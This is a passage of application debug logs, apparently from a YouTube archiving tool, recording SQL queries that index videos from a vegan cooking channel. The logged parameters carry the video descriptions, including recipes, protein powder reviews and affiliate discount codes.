\u00A0\u00A0\u00A0•\u00A090-Minute\u00A0High\u00A0Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0for...\u00A0\u00A0\n2. Full Day of Eating from Pam Anderson's Cookbook: \u00A0\u00A0\u00A0•\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson's\u00A0VEGAN\u00A0Cookb...\u00A0\u00A0\n3. What I Eat in a Day Under 20 Minute Recipes: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0Under\u00A020\u00A0Minutes\u00A0Easy...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "REALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals", "350f0286-fdf5-4204-a9e3-aab84dd94429", 1, [], false, "dbdYwl68eIE", "https://www.youtube.com/watch?v=dbdYwl68eIE", 68, "/downloads/downloads/alec/Steamy Vegan/2025-08-07 REALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals/REALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals [dbdYwl68eIE].NA", false, false, false, 1, ~U[2025-08-07 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this realistic what I eat in a day, I vlogged a pretty normal day in my life showing a bunch of vegan recipes that I eat to hit 100g of protein on a vegan diet. I live a pretty healthy lifestyle and I showed off some super easy vegan recipes, my weight training workout, and chatted about what's going in life right now. Enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRecipes mentioned:\nBlueberry Chia Jam: https://steamyvegan.com/chia-jam/\nVegan Caesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nSesame Ginger Tofu: https://steamyvegan.com/sesame-ginger...\n\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'What I Eat Episodes':\n1. 90 Minute Meal Prep What I Eat in a Week: \u00A0\u00A0\u00A0•\u00A090-Minute\u00A0High\u00A0Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0for...\u00A0\u00A0\n2. Full Day of Eating from Pam Anderson's Cookbook: \u00A0\u00A0\u00A0•\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson's\u00A0VEGAN\u00A0Cookb...\u00A0\u00A0\n3. What I Eat in a Day Under 20 Minute Recipes: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0Under\u00A020\u00A0Minutes\u00A0Easy...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "REALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals", 1, nil, false, "dbdYwl68eIE", "https://www.youtube.com/watch?v=dbdYwl68eIE", "/downloads/downloads/alec/Steamy Vegan/2025-08-07 REALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals/REALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals [dbdYwl68eIE].NA", false, ~U[2025-08-07 00:00:00Z]] 20:31:06.650 [debug] QUERY OK source="sources" db=0.5ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.652 [debug] QUERY OK source="media_items" db=1.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 00:00:00Z], 1] 20:31:06.654 [debug] QUERY OK source="media_items" db=1.1ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mapo Tofu is a popular Chinese tofu recipe but for some reason not many people in North America have heard of it! Today, we're making a vegan mapo tofu recipe that's super high-protein, gluten-free, and an easy recipe to make during a busy workweek. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMAPO TOFU RECIPE on my blog ➡️ https://steamyvegan.com/mapo-tofu/\n\n\nWant more easy vegan recipe ideas, check these ones out:\nVegan Ginger Beef: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\nPesto Pasta: \u00A0\u00A0\u00A0•\u00A0Pesto\u00A0Pasta\u00A0Recipe\u00A0with\u00A030g\u00A0of\u00A0PROTEIN!\u00A0💪🏼...\u00A0\u00A0\nNo Cooking Meal Prep Ep. 3: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "The tofu recipe you've never heard of... but NEED to 🌶", "23c7e8a1-8266-4732-a9a0-e61f0f72b669", 1, [], false, "GsrSZEg2gx8", "https://www.youtube.com/watch?v=GsrSZEg2gx8", 69, "/downloads/downloads/alec/Steamy Vegan/2025-08-02 The tofu recipe you've never heard of... but NEED to 🌶/The tofu recipe you've never heard of... but NEED to 🌶 [GsrSZEg2gx8].NA", false, false, false, 1, ~U[2025-08-02 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Mapo Tofu is a popular Chinese tofu recipe but for some reason not many people in North America have heard of it! Today, we're making a vegan mapo tofu recipe that's super high-protein, gluten-free, and an easy recipe to make during a busy workweek. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMAPO TOFU RECIPE on my blog ➡️ https://steamyvegan.com/mapo-tofu/\n\n\nWant more easy vegan recipe ideas, check these ones out:\nVegan Ginger Beef: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\nPesto Pasta: \u00A0\u00A0\u00A0•\u00A0Pesto\u00A0Pasta\u00A0Recipe\u00A0with\u00A030g\u00A0of\u00A0PROTEIN!\u00A0💪🏼...\u00A0\u00A0\nNo Cooking Meal Prep Ep. 3: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "The tofu recipe you've never heard of... but NEED to 🌶", 1, nil, false, "GsrSZEg2gx8", "https://www.youtube.com/watch?v=GsrSZEg2gx8", "/downloads/downloads/alec/Steamy Vegan/2025-08-02 The tofu recipe you've never heard of... but NEED to 🌶/The tofu recipe you've never heard of... but NEED to 🌶 [GsrSZEg2gx8].NA", false, ~U[2025-08-02 00:00:00Z]] 20:31:06.655 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.658 [debug] QUERY OK source="media_items" db=2.5ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-27 00:00:00Z], 1] 20:31:06.661 [debug] QUERY OK source="media_items" db=1.9ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The most in-depth review of the top plant-based protein powder brands on YouTube! We went really in-depth with this protein powder review by trying 40 flavors from 10 super popular brands (let us know if you've tried these): Biosteel, Complement, Eat Just, Good Protein, Leanfit, Sprout Living, Sunwarrior, Vedge, Vega and Vivo Life protein powders. What are your thoughts on these plant-based powders and which ones are your favorites?\n\nIn this video, we reviewed their ingredients, price, flavor, texture and talk about their benefits. Let me know if you have any questions at all about any of them!\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n2. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n3. Good Protein: 30% off (Available in Canada Only)\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n4. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n5. Vivo Life: 15% off\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n6. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n7. Leanfit: 25% off\nCode: STEAMYVEGAN\nLink: https://leanfit.ca/STEAMYVEGAN\n\n8. Biosteel: 20% OFF\nCode: STEAMYVEGAN\nLink: http://biosteel.ca/STEAMYVEGAN\n\n9. Eat Just: only available in grocery stores\nWebsite Link: https://www.ju.st/eat/just-one\n\n10. Vega: No discount code provided by company\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:59 - Our Ratings System\n2:57 - Biosteel Review\n6:18 - Complement Review\n8:28 - Good Protein Review\n11:20 - Eat Just Protein Powder Review\n14:22 - LeanFit Review\n17:43 - Sprout Living Review\n21:14 - Sunwarrior Review\n23:58 - Vedge Nutrition Review\n26:31 - Vega Review\n29:02 - Vivo Life Review\n31:44 - Results\n31:57 - Most Affordable\n33:20 - Cleanest Ingredients\n34:20 - Best Tasting Protein Powder\n35:45 - Worst Tasting Protein Powder\n36:13 - Overall Ratings", "I Tested 40 Plant-Based Protein Powders So You Don't Have To 💪🏼", "c10334cd-d460-4e68-9ffa-df5144b9298e", 1, [], false, "GrZ_u05wrU8", "https://www.youtube.com/watch?v=GrZ_u05wrU8", 70, "/downloads/downloads/alec/Steamy Vegan/2025-07-27 I Tested 40 Plant-Based Protein Powders So You Don't Have To 💪🏼/I Tested 40 Plant-Based Protein Powders So You Don't Have To 💪🏼 [GrZ_u05wrU8].NA", false, false, false, 1, ~U[2025-07-27 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "The most in-depth review of the top plant-based protein powder brands on YouTube! We went really in-depth with this protein powder review by trying 40 flavors from 10 super popular brands (let us know if you've tried these): Biosteel, Complement, Eat Just, Good Protein, Leanfit, Sprout Living, Sunwarrior, Vedge, Vega and Vivo Life protein powders. What are your thoughts on these plant-based powders and which ones are your favorites?\n\nIn this video, we reviewed their ingredients, price, flavor, texture and talk about their benefits. Let me know if you have any questions at all about any of them!\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n2. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n3. Good Protein: 30% off (Available in Canada Only)\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n4. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n5. Vivo Life: 15% off\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n6. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n7. Leanfit: 25% off\nCode: STEAMYVEGAN\nLink: https://leanfit.ca/STEAMYVEGAN\n\n8. Biosteel: 20% OFF\nCode: STEAMYVEGAN\nLink: http://biosteel.ca/STEAMYVEGAN\n\n9. Eat Just: only available in grocery stores\nWebsite Link: https://www.ju.st/eat/just-one\n\n10. Vega: No discount code provided by company\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:59 - Our Ratings System\n2:57 - Biosteel Review\n6:18 - Complement Review\n8:28 - Good Protein Review\n11:20 - Eat Just Protein Powder Review\n14:22 - LeanFit Review\n17:43 - Sprout Living Review\n21:14 - Sunwarrior Review\n23:58 - Vedge Nutrition Review\n26:31 - Vega Review\n29:02 - Vivo Life Review\n31:44 - Results\n31:57 - Most Affordable\n33:20 - Cleanest Ingredients\n34:20 - Best Tasting Protein Powder\n35:45 - Worst Tasting Prote (truncated) 20:31:06.662 [debug] QUERY OK source="sources" db=0.8ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.665 [debug] QUERY OK source="media_items" db=2.5ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-23 00:00:00Z], 1] 20:31:06.667 [debug] QUERY OK source="media_items" db=2.1ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This healthy high protein vegan meal prep will give you 4 easy vegan recipes to enjoy during the week, especially during a heatwave! These healthy vegan recipes require no cooking, are fast to make and will keep you refreshed and cool all week long.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\nWant to try out the protein powders I used in this video? Get a discount below on Good Protein and Complement Protein Powders:\n\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nWant a discount on the slow juicer I use?: \n🍏 @HuromAmerica H70 Juicer: Save 10% off a juicer! \nCode: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nCheck out part 1 and 2 of my no cooking meal preps here: \nEpisode 1: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0100g...\u00A0\u00A0\nEpisode 2: \u00A0\u00A0\u00A0•\u00A0NO\u00A0COOKING\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal...\u00A0\u00A0\n\nLooking for more summer recipes? Check out these salads:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\nPotato Salad: \u00A0\u00A0\u00A0•\u00A0Potato\u00A0Salad\u00A0w/\u00A0Grilled\u00A0Green\u00A0Onions\u00A0&\u00A0Dil...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:37 - Protein Smoothies\n6:18 - Big Greek Bean Salad\n12:18 - Chimichurri Tofu Wraps\n18:38 - Sorbet Recipes", "Healthy High-Protein Vegan Meal Prep 🌱 NO COOKING! 100g Protein, 1500 Cals (Ep. 3)", "abe05c3a-ed77-4018-b3f8-e7db4859321c", 1, [], false, "csyXd1q4tnc", "https://www.youtube.com/watch?v=csyXd1q4tnc", 71, "/downloads/downloads/alec/Steamy Vegan/2025-07-23 Healthy High-Protein Vegan Meal Prep 🌱 NO COOKING! 100g Protein, 1500 Cals (Ep. 3)/Healthy High-Protein Vegan Meal Prep 🌱 NO COOKING! 100g Protein, 1500 Cals (Ep. 3) [csyXd1q4tnc].NA", false, false, false, 1, ~U[2025-07-23 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This healthy high protein vegan meal prep will give you 4 easy vegan recipes to enjoy during the week, especially during a heatwave! These healthy vegan recipes require no cooking, are fast to make and will keep you refreshed and cool all week long.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\nWant to try out the protein powders I used in this video? Get a discount below on Good Protein and Complement Protein Powders:\n\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nWant a discount on the slow juicer I use?: \n🍏 @HuromAmerica H70 Juicer: Save 10% off a juicer! \nCode: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nCheck out part 1 and 2 of my no cooking meal preps here: \nEpisode 1: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0100g...\u00A0\u00A0\nEpisode 2: \u00A0\u00A0\u00A0•\u00A0NO\u00A0COOKING\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal...\u00A0\u00A0\n\nLooking for more summer recipes? Check out these salads:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\nPotato Salad: \u00A0\u00A0\u00A0•\u00A0Potato\u00A0Salad\u00A0w/\u00A0Grilled\u00A0Green\u00A0Onions\u00A0&\u00A0Dil...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:37 - Protein Smoothies\n6:18 - Big Greek Bean Salad\n12:18 - Chimichurri Tofu Wraps\n18:38 - Sorbet Recipes", "Healthy High-Protein Vegan Meal Prep 🌱 NO COOKING! 100g Protein, 1500 Cals (Ep. 3)", 1, nil, false, "csyXd1q4tnc", "https://www.youtube.com/watch?v=csyXd1q4tnc", "/downloads/downloads/alec/Steamy Vegan/2025-07-23 Healthy High-Protein Vegan Meal Prep 🌱 NO COOKING! 100g Protein, 1500 Cals (Ep. 3)/Healthy High-Protein Vegan Meal Prep 🌱 NO COOKING! 100g Protein, 1500 Cals (Ep. 3) [csyXd1q4tnc].NA", false, ~U[2025-07-23 00:00:00Z]] 20:31:06.668 [debug] QUERY OK source="sources" db=0.7ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.672 [debug] QUERY OK source="media_items" db=2.4ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-18 00:00:00Z], 1] 20:31:06.674 [debug] QUERY OK source="media_items" db=1.6ms idle=10.6ms INSERT INTO "media_items" AS m0 